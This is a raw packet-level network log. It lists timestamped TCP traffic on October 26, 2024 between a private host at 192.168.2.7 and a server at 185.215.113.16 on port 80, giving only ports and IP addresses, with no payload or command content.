Oct 26, 2024 08:54:00.411040068 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411078930 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411088943 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411117077 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411237955 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411248922 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411259890 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411273003 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411283970 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411328077 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411328077 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411330938 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411344051 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411356926 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411366940 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411381006 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411396027 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411604881 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411647081 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411688089 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411701918 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411726952 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411727905 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411752939 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411758900 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411787987 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411825895 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411838055 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411851883 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411863089 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411891937 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.411922932 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411957026 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.411998034 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412014008 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412025928 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412065029 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412076950 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412086010 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412086010 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412122965 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412128925 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412142992 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412166119 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412192106 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412194014 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412208080 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412220001 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412237883 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412261963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412272930 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412276030 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412283897 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412307978 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412316084 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412328005 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412338972 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412369013 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412406921 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412417889 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412430048 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412441969 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412441969 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412455082 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412467003 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412494898 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412573099 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412607908 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412657022 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412668943 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412707090 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412746906 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412763119 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412776947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412800074 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412825108 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412852049 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412863970 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412875891 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412889957 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412920952 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412920952 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412933111 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412945986 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412974119 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412980080 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.412986040 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.412997961 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.413002968 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.413038015 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.413149118 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.413161039 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.413172007 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.413189888 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.413211107 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.413316011 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.413328886 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.413338900 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.413363934 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.413386106 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.455729961 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.455796957 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.455804110 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.455818892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.455837965 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.455848932 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.455862999 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.455883980 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525495052 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525512934 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525533915 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525544882 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525556087 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525563002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525578976 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525599957 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525603056 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525613070 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525614023 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525631905 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525644064 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525644064 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525655031 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525665045 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525669098 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525691986 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525697947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525716066 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525718927 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525731087 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525746107 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525749922 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525765896 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525793076 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525798082 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525813103 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525825977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525837898 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525839090 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525856018 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525867939 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525878906 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525883913 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525893927 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525898933 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525914907 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525917053 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525930882 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.525933981 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.525960922 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526012897 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526026964 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526041031 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526046991 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526055098 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526079893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526101112 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526102066 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526124954 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526138067 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526165962 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526190996 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526197910 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526211977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526226044 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526243925 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526257992 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526262045 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526272058 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526273966 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526295900 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526320934 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526334047 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526345968 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526370049 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526388884 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526396990 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526412010 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526421070 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526441097 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526456118 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526465893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526470900 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526485920 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526494980 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526503086 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526510954 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526526928 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526544094 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526551008 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526565075 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526602030 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526695967 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526720047 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526736021 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526760101 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526781082 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526830912 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526837111 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526853085 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526876926 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526891947 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526922941 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.526966095 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.526972055 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527012110 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527013063 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527026892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527056932 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527057886 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527075052 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527091026 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527107000 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527107000 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527126074 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527132988 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527152061 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527157068 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527168036 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527183056 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527184963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527199984 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527231932 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527352095 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527363062 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527381897 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527394056 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527395964 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527406931 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527430058 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527458906 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527476072 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527487993 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527494907 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527513027 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527519941 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527525902 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527538061 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527539968 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527551889 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527560949 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527565956 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527585983 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527602911 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527637005 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527647972 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527652979 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527658939 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527683020 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527694941 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527693987 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527709007 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527713060 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527729988 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527755976 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527834892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527847052 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527861118 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527873993 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527878046 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527889013 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527893066 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527909040 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527920008 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527920961 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527932882 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.527942896 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.527971029 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528023005 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528033972 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528043985 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528060913 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528076887 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528106928 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528120995 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528141975 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528155088 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528170109 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528173923 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528187037 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528197050 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528202057 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528212070 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528228998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528235912 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528240919 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528254032 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528268099 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528270960 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528285027 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.528287888 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528306007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.528317928 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.570617914 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.570638895 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.570664883 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.570679903 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.570689917 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.570693970 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.570744991 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640574932 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640608072 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640640974 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640654087 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640669107 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640671968 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640683889 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640698910 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640712023 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640722990 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640722990 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640734911 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640748024 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640755892 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640763044 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640775919 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640782118 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640796900 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640815973 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640818119 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640830994 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640846014 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640861034 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640876055 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640876055 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640876055 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640878916 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640894890 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640906096 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640911102 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:00.640938044 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.640953064 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:00.641074896 CEST	80	49981	185.215.113.16	192.168.2.7
